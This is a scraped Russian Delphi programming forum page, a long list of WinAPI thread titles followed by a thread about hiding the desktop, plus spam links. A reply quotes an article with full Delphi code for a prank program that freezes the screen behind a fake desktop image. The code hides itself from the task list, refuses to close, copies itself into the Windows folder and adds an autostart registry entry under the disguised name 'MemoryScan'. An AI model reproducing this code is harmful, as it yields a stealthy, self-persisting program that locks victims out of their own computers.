Работа с мэйлслотами, посылка текстового сообщения приложению Избранное, Как найти эту папку? Проблема с событием OnMouseMove, при ..., ... написании визуального компонента. Где взять мощный справочник по WinApi на русском Свернулось, но не разворачивается!!!??? Програмное управление сотовым телефоном. Как? Преимущество API Как пользоваться функциями GetFileTime и SetFileTi Как зарегестрировать свою программу в системе?, другими словами корректно установить Действие перед завершением работы Windows..., Возможно? Нужен список всех сообщений в WinXP дельфи и модем Как в контекстное меню проводника, запихнуть картинку для моего пункта Delphi+Internet, TInetXPageProducer Как вывести на канвас экрана картинку?, сабж Как симитировать нажатие клавиш, с VK_CONTROL или VK_SHIFT... FileMapping, Запись в спроецированный файл Как изменить щрифт для формы, созданной, средствами API Работа с реестром CreateProcess, и XP Имя файла при чтении ParamStr(1) оказывается, в формате DOS 8.3 WinAPI, загрузить битмап из файла средствами win CTRL+ALT+DELETE under XP, может не ново, но этого я ещё не видел Как узать имена пользователей Автозугразка программы, как и откуда? PReport 1.7.2, Вышла новая версия PReport! Глобальные хуки, need help!!! Как отличить ReBoot, LogOff от ShutDown?, WM_QUERYENDSESSION; (ExitWindows(Ex)) Послать сообщение чужому потоку Запустить/приостановить поток по прерыванию, (аппаратному) Hooks?! Direct3D Hook, Нужен пример. Выполнение внешней программы, как запустить? Помогите убить Ctrl+Alt+Del!!!???, Это сочетания клавишь меня достало! Реестр на API, Функции Определить имя файла процесса и наоборот???!!! Как Вы относитесь к курящим девушкам? Правильно ли я "гашу" процесс, Во всяком случае компилятор матерится... А как узнать сегмент данных проги?, ???????? Не дать программе открыться, средствами хука... Просмотреть название функции в DLL, Просмотреть название функции в DLL Перехват сообщений между программами Cкрытие окна, скрытие чужого окна Как Вы относитесь к курящим девушкам? Как в WindowsXP скрыть приложение в списке задач Мониторинг процессора WM_GETTEXT, WM_GETTEXT УДАЛЕННЫЙ ДОСТУП, определить, запустить, отключить Закрыть приложения., Как сделать бомбочку. что за константа wm_User в Win API, winApi Delphi & Com порт Скрыть Explorer. Процессы в Win98, как увидеть?, Необходимо найти процесс... Управление модемом, функции Модем, в Win XP Как узнать пароль для инет? Не вижу процессов, Не вижу процессов Fiberz, использование "волокон" в разработке ПО Help! BDE!, украинская кодировка Драйвер режима ядра, материалы по сабжу Как вызывать DOS-овские команды из под Delphi? Завершение сеанса, Завершение сеанса управление монитором, програмно включить монитор Хуки, мать его..., WH_JOURNAL Как обработать исключения при чтении/записи, на дискету? функция обработки событий принтера Запоролся...., Про процессы. Драйвер LPT порта, Нужен толковый драйвер или компонент Управление меню другим прилодением, как программно у другова прил. кликнуть TForm, Lock
|
Платные хостинги
Раскрутка сайта
Книги по программированию
Скрыть Explorer.
- как убрать рабочич стол. Мешает.
- Тоесть?(Поподробнее, а то вариантов интерпритации этой фразы можно подобрать N-дцать)
- Programer_DimanЕсли ты его хочешь спрятать за свое приложение, то делай размер формы в размер экрана и отключи сазибл
- Статья с сайта delphiworld.narod.ruБезжизненный рабочий стол Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]: procedure TForm1.FormCreate(Sender: TObject);var ScreenDC: HDC; canvas:Tcanvas;begin ScreenDC:=GetDC(0); Canvas:=TCanvas.Create(); canvas.Handle:=ScreenDC; Width:=Screen.Width; Height:=Screen.Height; Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height), canvas,Rect(0,0,Screen.Width,Screen.Height)); Releasedc(0,ScreenDC); Canvas.Free;end; Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-)) Событие по созданию окна в конечном итоге должно выглядеть так: procedure TForm1.FormCreate(Sender: TObject);var ScreenDC: HDC; canvas: Tcanvas; h: TRegistry;begin ScreenDC:=GetDC(0); Canvas:=TCanvas.Create(); canvas.Handle:=ScreenDC; Width:=Screen.Width; Height:=Screen.Height; Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height), canvas,Rect(0,0,Screen.Width,Screen.Height)); Releasedc(0,ScreenDC); Canvas.Free; if not(csDesigning in ComponentState) then RegisterServiceProcess(GetCurrentProcessID,1); WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); if FileExists(WinDir+'\OurProgram.com')=false then CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false); h:=TRegistry.Create; h.RootKey:=HKEY_LOCAL_MACHINE; h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true); h.WriteString('MemoryScan',WinDir+'\OurProgram.com'); h.CloseKey; h.Free;end; На событие OnCloseQuery() формы напишем: CanClose:=false; На событие OnActivate(): ShowWindow(Application.Handle,sw_Hide); В области public объявим несколько переменных: public { Public declarations } Windir: string; WindirP: PChar; Res: Cardinal; А в uses подключим модуль Registry: uses Registry;
- VIY Пользуйся тегом Code
Интернет казино
Онлайн игры
Увеличение члена
Купить DVD
|